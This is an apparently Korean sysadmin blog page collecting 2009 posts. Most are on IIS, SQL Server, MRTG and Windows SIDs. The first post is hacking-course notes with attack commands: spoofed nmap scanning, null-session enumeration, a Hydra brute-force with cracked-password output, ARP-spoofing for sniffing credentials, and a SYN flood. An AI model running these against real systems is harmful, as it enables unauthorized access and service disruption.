http://www.wireshark.org - WireShark (패킷캡쳐), AirPcap - 아주 강력한 무선 해킹 툴


출발지 주소를 속이면서(IP Spoof) 해당 호스트 스캐닝 하기

  1. # nmap -v -sS -S 100.100.100.100 -e eth0 192.168.234.129

http://www.foundstone.com - Attacker


Portsentry (iptables 방화벽 연동)

step 1 : http://www.rpmfind.net --> portsentry 검색어 입력 검색

step 2 : wget ~~~

step 3 : rpm -Uvh portsentry ~~

step 4 : lokkit (방화벽활성화)

step 5 : iptables -F (기존 방화벽 rule 제거)

step 6 : service portsentry start

step 7 : 윈2000 에서 리눅스 스캔 (차단당하는지 확인)


Module 5 - Enumeration

윈도우즈 해킹을 위한 준비(스캐닝)


http://securityfocus.com/archive/

http://www.securiteam.com

http://sectools.org - Top 100 Network Security Tools

http://www.milw0rm.com

http://www.hackeroo.com

http://www.nessus.org - 가장 강력한 취약점분석 도구


Nikto - Web Server Scanner

http://www.securiteam.com --> search 에서 nikto 로 검색

http://www.cirt.net/code/nikto.shtml


http://www.watchfire.com/ --> AppScan 상용 웹스캐너


MD5SUM for Windows

http://www.pc-tools.net/win32/md5sums


Null Session 를 이용한 정보수집 방법

  1. c:> net use \\아이피주소\IPC$ "" /u:""
  2. c:> winfo 아이피주소 -v
  3. c:> userinfo \\아이피주소 Administrator


Hydra 를 이용하여 Administrator 비밀번호 알아내기

http://packetstorm.linuxsecurity.com/ 에서 Search 에 hydra 입력

hydra 다운로드

tar xvfz hydra-5.4-src.tar.gz

http://packetstorm.linuxsecurity.com/Crackers/wordlists/에서 passlist 다운로드

# cd hydra-5.4-src

# ./configure && make && make install

# ./hydra -l administrator -P /root/passlist 192.168.234.129 smtp-auth

Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-12-18 16:20:17
[DATA] 16 tasks, 1 servers, 5248 login tries (l:1/p:5248), ~328 tries per task
[DATA] attacking service smtp-auth on port 25
[25][smtpauth] host: 192.168.234.129   login: administrator   password: 12345
[STATUS] attack finished for 192.168.234.129 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2007-12-18 16:20:21



http://www.adventnet.com --> 공짜 로그서버 제공 (5개 서버까지 등록 가능) --> EventLog Analyzer 4


tripwire 설치

  1. # yum -y install tripwire
  2. # tripwire-setup-keyfiles

    # tripwire --init


  3. # tripwire --check



Unix 용 루트킷 검색 프로그램

http://www.chkrootkit.org --> chkrootkit

http://www.rootkit.nl --> rkhunter


Windows 용 루트킷 검색 프로그램

http://technet.microsoft.com --> sysinternals --> Securiy Utilities --> RootkitRevealer, Process Explorer


Sniffing Program

http://www.oxid.it/cain.html


카인과아벨를 이용한 스니핑 방법

Sniffer 탭 클릭 --> Configure 메뉴 --> 랜카드 선택, ARP 탭:가짜 IP, MAC 입력(59.28.225.180) --> Start Sniffer and Start ARP (두번째, 세번째 아이콘 클릭) --> 플러스 아이콘 클릭 --> All --> 모든 IP MAC 이 다 보이게 됨. --> 밑에 ARP 탭 선택 --> 플러스 아이콘 클릭 --> 스니핑하고자 하는 IP 선택  --> 스니핑 시작 --> Password 탭 선택하면 비밀번호가 보임



SYN Flooding Attack

syn 192.168.x.x -p 80

2009/08/25 14:29 2009/08/25 14:29

다음은, Win32_PerfRawData_Tcpip_NetworkInterface 클래스를 이용해서 BytesReceivedPersec,BytesSentPersec  값을 WMI를 통해 가져오는 예제 코드 입니다.

set oSvc = GetObject("winmgmts:root\cimv2")

wqlQuery = "select BytesReceivedPersec,BytesSentPersec from Win32_PerfRawData_Tcpip_NetworkInterface where Name = 'Realtek RTL8139 Family PCI Fast Ethernet NIC'"

for each oData in oSvc.ExecQuery(wqlQuery)
 for each oProperty in oData.Properties_
  if oProperty.Name = "BytesReceivedPersec" then
   bytesReceived = oProperty.Value
  elseif oProperty.Name = "BytesSentPersec" then
   bytesSent = oProperty.Value
  end if
 next
next

wscript.echo bytesReceived
wscript.echo bytesSent

BytesReceivedPersec,BytesSentPersec 는 각 원시 Raw 값을 가져옵니다.

이 값은 uint 타입인데 vbscript 특성상 형선언에 의미가 없으므로  맨 마지막에서 순서대로 echo 를 통해서 출력만 해주면 됩니다.  중요한것은 무조건 맨처음과 그 다음 출력되는 글자만 값으로 되며, 필히 숫자이어야 하며, 2개를 반환해야 합니다.



출력된값은 MRTG에서 LIne 별로 값을 읽어 들입니다. 다음 부분은 MRTG의 cfg 일부입니다.

Target[serverinfo_wmi]: `cscript //nologo D:\wwwroot\mrtg-2.14.3\bin\traffic.vbs`
Options[serverinfo_wmi]: growright,bits

SNMP에서는 다음과 같은 형식입니다.

Target[serverinfo_snmp]: 65539:public@211.234.xxx.xxx:
Options[serverinfo_snmp]: growright,bits

2개의 차이점은, 거의 없어 보이죠?.
(Options에서 bits 를 넣어주면, 계산된 값에 * 8 을 해줘서 bit/sec 로 계산을 해준다. Byte 단위로 챠트를 출력할려면 bit를 넣어주지 않으면 된다.)


지금까지 예제를 보면, 아주 쉽습니다. 그냥 vbscript를 통해서 2개의 값만 리턴을 해주는 명령어를 넣어주기만 하면 되니깐.. 관리도구에 있는 성능카운터에 있는 모든 클래스를 소스로 이용할수 있습니다. 그외 별도의 응용프로그램에서 리턴해주는 모든값도 가능합니다.

다만, MRTG가 perl 기반이라는 단점외에는...
2009/08/25 14:26 2009/08/25 14:26
FastCgi 에서, PHP 는 매우 가볍고 빠르게 동작 합니다.
물론 세팅 방법도 기존과 다르게 보다 쉽습니다.

FastCgi 에서 PHP 는,. IIS 6에서는 작업자 프로세스에 의해서 실행이 됩니다. 그래서 PHP 가 설치되어 있는 폴더(php-cgi.exe 가 위치하는 폴더) 에는 Network Service 계정 접근이 가능 해야 합니다.

보통 읽기(Read) 권한만 설정되어 있어도 PHP 스크립트는 매우 잘 작동 합니다. 그러나, PHP 코딩 방식중에 Include 등의 함수 호출에서 코드 방식에 따라서 오류(FastCgi 에서 Http 500)가 발생 합니다.

include 또는 require_once 에서 상대 경로를 호출할 경우인데요. 요즘 대부분의 include 에서 페이지 호출 방식은 상대경로(relative path)를 이용하고 있습니다.

물론,. $_SERVER["DOCUMENT_ROOT"] 처럼 절대 경로를 반환해 주는 환경 변수를 이용해서 include 하는 경우에는 문제가 없으나, "../" 와 같은 상대 경로를 이용할때에는 오류가 발생 합니다.

[error] PHP Warning:
failed to open stream:
No such file or directory in
/main.php on line 15

이러한 오류는, PHP Cgi 에서 실행(Read & Execute) 권한(permission)이 없기 때문 입니다.

개체 이름: D:\php5\php-cgi.exe
이미지 파일 이름: C:\WINDOWS\system32\inetsrv\w3wp.exe
기본 사용자 이름: NETWORK SERVICE
액세스: SYNCHRONIZE
  ReadData (또는 ListDirectory)
  실행/트래버스
  ReadAttributes



위와 같이 작업자 프로세스 실행 계정에, 실행권한을 설정을 해줄 경우 기존 Linux 에서 작동하는 PHP 스크립트 대부분은 문제 없이 잘 작동 합니다.

물론, 세션 저장 폴더나 로깅 폴더등에는 추가적으로 쓰기/삭제 권한까지 필요 합니다.

출처 : http://www.wssplex.net/TipnTech.aspx?Seq=508
2009/08/25 14:24 2009/08/25 14:24
현재의 Windows Server 2008 다음으로 출시될 예정인 Windows Server 2008 R2 (Windows 7) 의 IIS 7.5 에서는 FastCgi 의 성능이 향상된다고 합니다.

http://blogs.iis.net/ksingla/archive/2009/01/22/improvements-to-fastcgi-in-iis-7-5.aspx

1. FastCgi 가 작동하는 응용프로그램 풀(프로세스) 에서 지정된 특정 파일 모니터링
   --> 기존 web.config 수정 모니터링 처럼 FastCgi 에서도 가능하게 한것 같은데요. 그것 보다는 단순한 듯.

2. 실시간 튜닝 자동화
  --> Windows 7 (Windows Server 2008 R2) 에서 maxInstances 등의 값을 0 으로 하는 경우에는 FastCgi 모듈이 요청 상태에 알맞게 FastCgi 인스턴스를 자동으로 조정

3. 추적
 --> 대부분의 Cgi 는 자체 메시지 출력(Stdout)을 하는데, 에러시 기존에는 각자의 로깅방법등을 이용했는데 IIS 7.5 에서는 그것을 IIS Trace 에서 받을수 있음.

4. STDERR stream 핸들링
 --> Stdout(StdErr) 의 값에 따라서 특정한 값에 해당하는 경우 지정된 서버 상태코드로 설정이 가능

2009/08/25 14:24 2009/08/25 14:24
본 웹사이트에 소개된 IIS 7 모듈에 관련된 포스트 모음 입니다.

Web Analytics Tracking Module
http://www.wssplex.net/Tools/UsefulTools.aspx?Seq=92

Image Gallery Directory Listing Module
http://www.wssplex.net/Tools/UsefulTools.aspx?Seq=91

URL Rewrite Module
http://www.wssplex.net/Tools/UsefulTools.aspx?Seq=87

Application Request Routing Modulehttp://www.wssplex.net/Tools/UsefulTools.aspx?Seq=79

Backup & Restore Module
http://www.wssplex.net/Tools/UsefulTools.aspx?Seq=74

미디어 팩(Media Pack) Bit Rate Throttling Module
http://www.wssplex.net/Tools/UsefulTools.aspx?Seq=69

Request Filtering Module
http://www.wssplex.net/TipnTech.aspx?Seq=396

이외에도, 수많은 모듈이 있으며 프로그래밍이 가능하다면 모듈 작성 및 추가는 그리 어렵지 않게 추가가 가능한 IIS 7 입니다.
2009/08/25 14:23 2009/08/25 14:23
다음 문서는, SQL Server 2000 관련해서 공개 팁중 각 분류별 유용한 팁을 정리해 놓은 PDF 파입니다.

배포는 Microsoft 에서 하고 있으며, 2005년 한국데이터베이스진흥센터 주최 SQL Server 나만의 노하우 공개 페티스벌 이벤트를 통해서 수집되어진 자료를 기반으로 한국데이터베이스 진흥센터 승인하에 제작된 문서라고 합니다.

문서발행이 2006년 11월인데요,. 현재 SQL Server 2005 버젼이므로 이미 관련 팁은 수 많은 웹사이트에 공개가 많이 되어 있을것입니다.


다운로드:

http://download.microsoft.com/download/6/8/f/68f15f44-e957-4a1a-
97b8-b7444e4d0379/MyKnowhow,Tips_SQL_Server_2000.pdf



세미나 같은게 참석하시면 가끔식 MS에서 나눠주기도 합니다.^^
2009/08/25 14:23 2009/08/25 14:23
Microsoft 에서, 웹사이트 코드 취약점 점검 도구를 최근에 배포 하였는데요,. 명령행 기반 유틸 입니다. 아래 kb 문서를 참고하시면 간단한 사용법과 예제가 설명 되어 있으므로 참고들 해보시면 좋을것 같습니다. --> 물론 개발자가 직접 점검해 보아야 하겠지요.. 자기가 개발한 코드이니 만큼..^^

국내 정보보호진흥원에서 배포하는 자료는 광범위하게 배포되어 있고, 예전에 올려진 자료도 있고 해서 따로 정리할 필요는 없을것 같네요..


개발자가 참고해 볼만한 도구 및 문서:
The Microsoft Source Code Analyzer for SQL Injection tool
http://support.microsoft.com/default.aspx/kb/954476

Microsoft Source Code Analyzer for SQL Injection 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-
A4334146B6BA&displaylang=en


Preventing SQL Injections in ASP
http://msdn.microsoft.com/en-us/library/cc676512.aspx

How To: Protect From SQL Injection in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998271.aspx

Microsoft Anti-Cross Site Scripting Library:
http://msdn.microsoft.com/en-us/library/aa973813.aspx

Tip/Trick: Guard Against SQL Injection Attacks:
http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against
-SQL-Injection-Attacks.aspx



관리자가 참고할 만한 도구 및 문서:
Microsoft Urlscan Filter v3.0 Beta (x86) 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=EE41818F-3363-4E24-9940-
321603531989&displaylang=en


Microsoft Urlscan Filter v3.0 Beta (x64) 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=361E5598-C1BD-46B8-B3E7
-3980E8BDF0DE&displaylang=en


AQTRONIX WebKnight - Application Firewall for Web Servers:
http://www.aqtronix.com/?PageID=99


그외, 유틸로는...

Scrawlr - SQL Injection 스캐너
http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/
finding-sql-injection-with-scrawlr.aspx



관련링크:

공개용 웹 방화벽 프로그램을 이용한 홈페이지 보안 - krcert
http://www.wssplex.net/TipnTech.aspx?Seq=312

해킹, 악성코드등 보안 점검 자료 및 정보
http://www.wssplex.net/TipnTech.aspx?Seq=310

DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
http://www.wssplex.net/TipnTech.aspx?Seq=388

SQL Injection and XSS 진단 스크립트
http://www.wssplex.net/TipnTech.aspx?Seq=273
2009/08/25 14:22 2009/08/25 14:22
대부분의 경우,. 자체의 기존 경로의 DB 이었거나 detach 등의 데이터 베이스중 로그파일이 손상되어 mdf 파일만 있는 경우에는 거의 대부분 sp_attach_single_file_db 프로시져나 EM 의 데이터베이스 연결을 통해서 복구가 가능합니다.

- SQL Server 2005 이후에는 데이터베이스 연결 프로시져인 sp_attach_single_file_db 대신에 CREATE DATABASE database_name FOR ATTACH 를 사용하는 것이 좋습니다 -




그러나,. 단일 mdf 파일만 가지고선 복구가 안되는 경우가 다른 서버나 경로에서 정상적인 분리없이 가져와진 단일 mdf 파일만 있는 경우 입니다. 정상적인 분리이었거나 원래 서버 및 경로인 경우에는 위와 같은 ldf 가 없더라도 정상적으로 로그파일이 생성이 됩니다.



그러나 비정상적인 경우에는 다음과 같은 메시지가 나오면서 작업진행이 더 이상안 되지요.. 물론 쿼리문으로 실행하는 것도 같습니다. 어차피 EM 으로 작동되는게 모두 쿼리문의 SQL Server 엔진에 전달이 되니깐요..


이런 경우 해당 데이터베이스 명의 로그파일을 바꿔치기 하는 방법으로 복구 가능합니다. 이러한 복구 방법은 이미 주의대상(Suspect) 모드에서의 복구 절차와 거의 같습니다.


1. 먼저 wssplex 와 동일한 이름의 데이터베이스를 만듭니다.
2. 그다음에,. SQL Server 를 종료한 다음에 원본wssplex 와 바꿔치기를 합니다.
3. SQL Server 서비스를 재시작 하면, 새로 생성된 ldf는 원본wssplex 의 원래 로그과 다르므로 아래와 같은 주의 대상 상태로 변경 됩니다.





4. 이때, 다음과 같은 쿼리문을 실행하여 wssplex 상태를 변경 시킵니다.

sp_configure 'allow updates',1
go
reconfigure with override
go
update sysdatabases set
status=-32768 where dbid=DB_ID('wssplex')
go
sp_configure 'allow updates',0
go
reconfigure with override
go

32768 은 데이터베이스 응급 모드로 상태를 변경하겠다는 것입니다.


5. 그다음으로, SQL Server 서비스를 종료 합니다. 그리고 현재 상태에서의 문제가 되는 로그파일을 삭제후 SQL Server 서비스를 재시작 하면 다음과 같이 응급 모드로 변경이 됩니다.




6. 이제 wssplex 데이터 베이스는 ldf 가 없는 읽기 가능한 상태로, 레코드 조회나 DTS 를 통해서 데이터 끌어갈수도 있게 되었으나 역시 읽기전용 모드 입니다.


7
. 현재 상태는 로그파일이 정상적이지 않은 상태이므로, 로그파일을 재생성을 해주면 되며, 다음과 같은 쿼리를 실행하고 완료후 wsspelx 는 이제 정상적인 데이터베이스가 되었습니다.

dbcc rebuild_log('wssplex','d:\wssplex_log.ldf')


경고: 'wssplex' 데이터베이스에 대한 로그가 다시 작성되었습니다.
트랜잭션에 일관성이 없습니다. 물리적 일관성을 검사하려면 DBCC CHECKDB를 실행해야 합니다.
데이터베이스 옵션을 원래대로 설정하고 다른 로그 파일을 삭제해야 합니다.
DBCC 실행이 완료되었습니다. DBCC에서 오류 메시지를 출력하면 시스템 관리자에게 문의하십시오.





물론 현재 다음과 같이 엑세스 제한 상태입니다.



이제 위 제한값만 체크 해제를 해주면 곧바로 사용할수 있겠네요..^^




최초 시도했던 attach 경로 및 데이터베이스 DB 및 로그파일이 생성이 완료 되었고 정상적으로 데이터베이스 이용이 가능해 졌습니다.!!

출처 : http://www.wssplex.net/TipnTech.aspx?Seq=470
2009/08/25 14:21 2009/08/25 14:21
www.wssplex.net


Windows Web Server 2003 에서는,. 소프트웨어 설치에 제한 사항이 많았으나?? Windows Web Server 2008 에서는 하드웨어 스펙 제한과,. OS 자체의 구성요소 제한 외에는 거의 없습니다.

DB서버를 운영하기 위해서,. 저사양? 스펙에서는 Standard 버젼을 굳이 쓸 이유가 없겠지요. 이럴때 Windows Web Server 2008 이 좋은 대안인데,.. SMB 시장에서는 웹서버와 DB 서버를 같이 운영할수 있기에 좋을것 같습니다.

그런데,. Windows Web Server 2008 에, SQL Server 2005 를 설치하는 경우 다음과 같은 설치 제한이 있습니다. 기본 인스톨 본으로는 아래와 같이 워크스테이션 구성요소, 온라인 설명서 및 개발 도구 밖엔 설치를 할수 없습니다.



이러한 설치 제한에 대한,. 패치(Hotfix)가 배포되고 있습니다.

x32, x64 각각 배포가 되고 있는데요.... 패치를 설치하고 나면,. 아래와 같이 설치 제한이 없어져 정상적인 설치 진행이 가능해 집니다.

http://support.microsoft.com/kb/950636

SQL Server 2005 Installer Hotfix for Windows Web Server 2008 (x86)
SQL Server 2005 Installer Hotfix for Windows Web Server 2008 (x64)



많은 고객들이 Web Server 버젼에 SQL Server 설치를 원했기 때문에 이와 같은 패치를 내놓았다고 합니다....

그리고,. 애초에 SQL Server 설치를 Web Server 버젼에 설치하는 것을 계획하지 않았기 때문에 SQL Server 2005 installer 가 Windows Web Server 2008 라이선싱 정보를 예상하지 못했다고 합니다.
출처 : http://www.wssplex.net/TipnTech.aspx?Seq=477
2009/08/25 14:21 2009/08/25 14:21
www.wssplex.net
http://www.databasejournal.com/features/mssql/article.php/3796551/article.htm 를 보면,. 각 DB 별 I/O 사용량 통계 쿼리 예제 입니다. 물론,. 제공되는 시스템뷰나 함수를 좀더 보기쉽고 직관적으로 알수 있도록 만들어 놓은 쿼리 입니다.

SQL Server 2005 및 SQL Server 2008
select db_name(mf.database_id) as database_name, mf.physical_name,
left(mf.physical_name, 1) as drive_letter,
vfs.num_of_writes, vfs.num_of_bytes_written, vfs.io_stall_write_ms,
mf.type_desc, vfs.num_of_reads, vfs.num_of_bytes_read, vfs.io_stall_read_ms,
vfs.io_stall, vfs.size_on_disk_bytes
from sys.master_files mf
join sys.dm_io_virtual_file_stats(NULL, NULL) vfs
on mf.database_id=vfs.database_id and mf.file_id=vfs.file_id
order by vfs.num_of_bytes_written desc

SQL Server 2000 에서는 2005 나 2008 처럼 다양한 시스템뷰 나 함수를 지원하지 않기 때문에 다음처럼 커서를 이용해서 임시테이블에 넣는 방법을 이용합니다.

SQL Server 2000
DECLARE @DBID smallint
DECLARE @FILEID smallint
DECLARE @DBNAME sysname
DECLARE @FILENAME nvarchar(260)
 
CREATE TABLE #FileIOStats
(name sysname,
filename nvarchar(260),
drive_letter char(1),
NumberReads bigint,
NumberWrites bigint,
BytesRead bigint,
BytesWritten bigint,
IoStallMS bigint)
 
DECLARE ALLFILES CURSOR FOR
SELECT dbid, fileid, [name], [filename] FROM [master].[dbo].[sysaltfiles]
 
OPEN ALLFILES
FETCH NEXT FROM ALLFILES INTO @DBID, @FILEID, @DBNAME, @FILENAME
 
WHILE (@@FETCH_STATUS = 0)
BEGIN
 
                INSERT INTO #FileIOStats
                SELECT @DBNAME, @FILENAME, left(@FILENAME, 1), NumberReads, NumberWrites, BytesRead, BytesWritten, IoStallMS
                FROM ::fn_virtualfilestats(@DBID, @FILEID)
 
                FETCH NEXT FROM ALLFILES INTO @DBID, @FILEID, @DBNAME, @FILENAME
END
 
CLOSE ALLFILES
DEALLOCATE ALLFILES
 
SELECT * FROM #FileIOStats
DROP TABLE #FileIOStats

좀더 자세한 사항은 위 포스트를 참고해 보시기 바랍니다.
2009/08/25 14:20 2009/08/25 14:20
www.wssplex.net
http://www.mssqltips.com/tip.asp?tip=1669 는 해당 데이터베이스에 있는 저장프로시져 및 함수에서 사용되는 파라미터의 각 목록을 확인할수 있는 쿼리 스크립트 입니다.

SELECT SCHEMA_NAME(SCHEMA_ID) AS [Schema],
SO.name AS [ObjectName],
SO.Type_Desc AS [ObjectType (UDF/SP)],
P.parameter_id AS [ParameterID],
P.name AS [ParameterName],
TYPE_NAME(P.user_type_id) AS [ParameterDataType],
P.max_length AS [ParameterMaxBytes],
P.is_output AS [IsOutPutParameter]
FROM sys.objects AS SO
INNER JOIN sys.parameters AS P
ON SO.OBJECT_ID = P.OBJECT_ID
WHERE SO.OBJECT_ID IN ( SELECT OBJECT_ID
FROM sys.objects
WHERE TYPE IN ('P','FN'))
ORDER BY [Schema], SO.name, P.parameter_id

이를테면,. 특정 파라미터에 정의된 값을 찾아서 수정이 필요한 경우에 이용해 볼수 있을것 같고 그외 목적에 따라서 위 쿼리 스크립트를 약간만 수정해도 다양하게 이용할수 있을것 같습니다.

위 쿼리스크립트에 대한 자세한 내용은 해당 원문 페이지를 확인해 보시기 바라며, SQL Server 2005 이상에서만 지원 가능한 시스템뷰를 이용하므로 SQL Server 2000 에서는 작동하지 않습니다.
2009/08/25 14:20 2009/08/25 14:20
다음 문서는 kb 중 DNS 에 새 도메인 추가방법 및 순서에 대해서 설명해 놓은 것입니다.

물론 이런 내용은 이미 온라인 도움말에 있는 내용 그대로 입니다만,. 설정 작업에 앞서 DNS 에 대한 기본 개념을 사전에 이해하는 것이 훨씬더 쉬운 작업이 될수 있습니다.^^

http://support.microsoft.com/kb/323445/ko


정방향 조회 영역을 만드는 방법

정방향 조회 영역 속성을 수정하는 방법

역방향 조회 영역을 만드는 방법

역방향 조회 영역 속성을 수정하는 방법

호스트 레코드를 만드는 방법

CNAME을 추가하는 방법

MX 레코드를 추가하는 방법

이름 서버를 추가하는 방법


2009/08/25 14:19 2009/08/25 14:19

ASP(Active Server Pages) 요청을 사용하여 Microsoft 인터넷 정보 서비스(IIS) 5.0, Microsoft 인터넷 정보 서비스(IIS) 5.1 또는 Microsoft 인터넷 정보 서비스(IIS) 6.0이 설치된 컴퓨터에 큰 파일을 업로드하면 업로드가 실패할 수 있습니다. 또한 403 오류 응답이나 다음 중 하나와 유사한 오류 메시지가 나타날 수 있습니다.


오류 메시지 1
Request object error 'ASP 0104 : 80004005' 허용되지 않는 작업 :

오류 메시지 2

007~ASP 0104~허용되지 않는 작업

많은 폼 데이터를 ASP 페이지에 게시할 때 다음과 유사한 오류 메시지가 나타날 수 있습니다.

오류 ’80020009’ 예외가 발생했습니다.

또한 Response.binaryWrite 메서드를 사용할 때 파일 업로드가 실패할 수 있습니다.


이 문제는 Content-Length 헤더가 있고 Content-Length 헤더에서 IIS 메타베이스의 AspMaxRequestEntityAllowed 속성 값보다 큰 데이터 양을 지정하는 경우 발생합니다. AspMaxRequestEntityAllowed 속성의 기본값은 204,800바이트입니다.


해결 방법

cscript adsutil.vbs set w3svc/ASPMaxRequestEntityAllowed size

(*이 명령에서 size는 허용할 최대 파일 크기 업로드의 자리 표시자입니다. 최대값은 1,073,741,824바이트입니다. 이 값을 원하는 기능에 허용되는 최소값으로 설정하십시오.)

--> 업로드 컴포넌트의 성능에 따라서, 대용량 파일을 업로드 하면 웹서버측 메모리 과다 점유로 인해서 성능저하가 발생할 수 있으니 조심 스럽게 설정하는게 좋습니다.^^

이와 관련된 메타베이스 값으로 AspBufferingLimit 있습니다. 이 부분은 다운로드 버퍼링에 관련된 것으로 파일 링크를 막기 위해서 Asp 코드에 파일 쓰기후 다운로드 처리를 하는 경우가 많은데요,. 이때 대용량 파일 다운로드시에 지정된 크기 이상일 경우 오류가 발생하게 됩니다.

AspBufferingLimit : http://msdn.microsoft.com/library/default.asp?url=/library/
en-us/iissdk/html/ecfc3d4a-0178-45e8-89f8-304429b7fda5.asp



AspMaxRequestEntityAllowed 속성은 ASP 요청의 엔터티 본문에서 허용되는 최대 바이트 수를 지정합니다. Content-Length 헤더가 있고 Content-Length 헤더에서 AspMaxRequestEntityAllowed 속성 값보다 큰 데이터 양을 지정하는 경우 IIS에서 403 오류 응답을 반환합니다. AspMaxRequestEntityAllowed 속성은 PUT 요청과 POST 요청에만 적용되고, GET 요청에는 적용되지 않습니다. 이 메타베이스 속성이 ASP에만 적용되기 때문에 다른 ISAPI(인터넷 서버 API) 확장은 영향을 받지 않습니다.

AspMaxRequestEntityAllowed 속성은 MaxRequestEntityAllowed 속성의 기능과 관련되어 있습니다. 그러나 AspMaxRequestEntityAllowed 속성은 ASP 요청에만 적용됩니다. MaxRequestEntityAllowed 속성을 WWW 서비스(World Wide Web 게시 서비스) 수준에서 1MB로 설정할 수 있습니다. 그런 다음 특정 ASP 응용 프로그램에서 더 작은 양의 데이터를 처리하는 것을 알고 있는 경우 AspMaxRequestEntityAllowed 속성을 더 작은 값으로 설정할 수 있습니다.

--> ASP.NET 에서는 machine.config  또는 전역 web.config 및 각 웹사이트의 web.config 에서 지정할 수 있습니다.^^
2009/08/25 14:19 2009/08/25 14:19

현상

SGC(Server Gated Cryptography) 인증서를 사용하면 HTTPS 프로토콜을 사용하여 사이트에 액세스하려는 클라이언트에 다음과 같은 오류 메시지가 나타날 수 있습니다.

IIS 4.0:

https://<sitename> 사이트를 열 수 없습니다.
제공된 인증서가 잘못되었습니다.

IIS 5.0:

페이지를 표시할 수 없습니다.
서버를 찾을 수 없거나 DNS 오류입니다.


--> SGC 인증서 때문인데요. SGC 인증서는 현재는 발급되는 경우가 거의 없습니다. 물론 대부분의 웹서버 SSL 인증서 판매 업체에서는 판매를 하고 있습니다.

SGC(Server Gated Cryptography) 는 클라이언트 브라우져가 40비트/50비트만 지원하고, 128 비트를 지원하지 못하는 경우에도 인증서 자체가 강제적으로 128 비트/ 256 비트 암호화가 가능하도록 지원하는 인증서 규격 입니다. ^^

최근 거의 대부분의 웹서버 및 웹브라우져가 128비트 / 256비트 인증서를 지원하며, IE 7 에서는 SSL 3.0 만 지원하도록 변경되었습니다. 암호화 강도는 점차 높아질 것입니다. ^^

웹서버 인증서 :  http://www.comodossl.co.kr/

2009/08/25 14:18 2009/08/25 14:18

다음 문서는 IIS 6 에 해당되는 내용으로, CGI/ISAPI 실행시 나타날 수 있는 사항입니다.


현상

IIS에서 CGI 응용 프로그램을 실행하려고 하면 다음과 같은 메시지가 나타납니다.

      액세스가 거부되었습니다.


원인

이 문제는 익명 계정에 CGI에 대한 권한이 없는 경우 발생합니다. CGI 응용 프로그램을 시작하려고 하면 IIS에서는 익명 사용자를 사용합니다. 익명 계정에 해당 파일에 대한 권한이 없기 때문에 프로세스 실행이 실패하고 STDOUT을 통해 오류 메시지가 반환됩니다.

그러나 IIS에서는 프로세스가 정상적으로 실행되고 종료된 것으로 인식합니다. 액세스 거부 오류 메시지가 STDOUT에 있기 때문에 IIS에서는 프로세스 실패를 인식할 방법이 없습니다.

익명 계정이 프로세스를 시작할 수 있었기 때문에 다른 인증 방법을 시도하지 않습니다. IIS에서는 CreateProcessAsUser API 호출을 사용하여 CGI 응용 프로그램을 시작합니다. 사용자에게 CGI/ISAPI 응용 프로그램에 대한 NTFS 권한이 없는 경우 CreateProcessAsUser는 정상적으로 종료됩니다.


해결

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ W3SVC\Parameters

W3SVC/Parameters 아래에 CreateProcessAsUser 값을 REG_DWORD로 추가하고 값을 0으로 지정합니다. 이렇게 하면 CGI가 CreateProcess API를 통해 시스템 컨텍스트에서 실행됩니다.

이 경우 CGI 스크립트의 시스템 액세스 권한이 보통 때보다 훨씬 커지기 때문에 심각한 보안 문제를 일으킬 수 있습니다.


--> 위 적용에 대해서, 절대 추천하지 않습니다. 왜나면, 일반적으로 웹사이트 실행은 최소 권한인 IUSER 계정으로 접근을 하는데 위와 같이 값을 변경하게 되면 SYSTEM 권한으로 실행이 되므로 익명의 사용자가 서버 전체에 접근할수 있는 권한을 가지게 되는 것이죠..

이와 비슷한 예로, Windows 2000 서버에서 ASP.NET 실행시 잘 안되는 경우가 있다는 질문이 여러 게시판에 올라오는데요. 그 답변이 대부분 machine.config 에서 실행계정은 "system" 으로 변경하라고 제시를 해줍니다. 이 또한 위와 같이 system 권한으로 ASP.NET 웹사이트를 실행하므로 매우 위험한 답변을 제시해 주고 있는 것입니다.

웹개발자는, 서버보안에 상관없이 당장 제작된 웹프로그램 실행이 중요하기 때문에 이런 사항에 대해서는 서버운영자가 필히 적절한 조치 및 방향을 제시해 주어야 하는게 좋겠죠.^^
2009/08/25 14:18 2009/08/25 14:18
Windows 운영체제의 각 계정은 실제 내부에서는 SID 를 기준으로 작동하도록 고안 되어 있습니다. 레지스트리만 봐도 쉽게 알수 있습니다.

가장 대표적인것이 Administrator 계정입니다.

S-1-5-21-1016612335-3512713375-986535121-500 로 시작 및 마지막이 모두 동일합니다.

이러한 SID 는 이미 알려진 몇가지 기준에 의해서 랜덤한 값이 생성이 되나, Windows 자체에서 필요한 계정은 여러 이유로 해서, 이미 지정된 SID 값을 가지고 있습니다.

SID(보안 식별자) 형은 다음 문서에서 그 의미를 확인해 볼수 있습니다.

WellKnownSidType 열거형
http://msdn2.microsoft.com/ko-kr/library/system.security.principal.wellknownsidtype
(vs.80).aspx


가장 쉽게 볼수 있는 SID 몇가지 입니다.

SID: S-1-0
Name: Null Authority

SID: S-1-0-0
Name: Nobody

SID: S-1-1-0
Name: Everyone
Windows Server 2003 운영 체제를 실행하는 컴퓨터에서 Everyone에는 Authenticated Users와 Guest가 포함됩니다. 이전 버전의 운영 체제를 실행하는 컴퓨터에서는 Authenticated Users 및 Guest와 함께 Anonymous Logon까지 포함합니다.

SID: S-1-2
Name: Local Authority

SID: S-1-5
Name: NT Authority

SID: S-1-5-2
Name: Network
네트워크 연결을 통해 로그온한 모든 사용자를 포함합니다. 대화형 사용자의 액세스 토큰은 Network SID를 포함하지 않습니다.

SID: S-1-5-3
Name: Batch
작업 스케줄러 작업과 같은 일괄 큐 기능을 통해 로그온한 모든 사용자를 포함합니다.

SID: S-1-5-4
Name: Interactive
로컬 또는 원격 데스크톱 연결을 통해 로그온한 모든 사용자를 포함합니다.

SID: S-1-5-5-X-Y
Name: Logon Session

SID: S-1-5-6
Name: Service
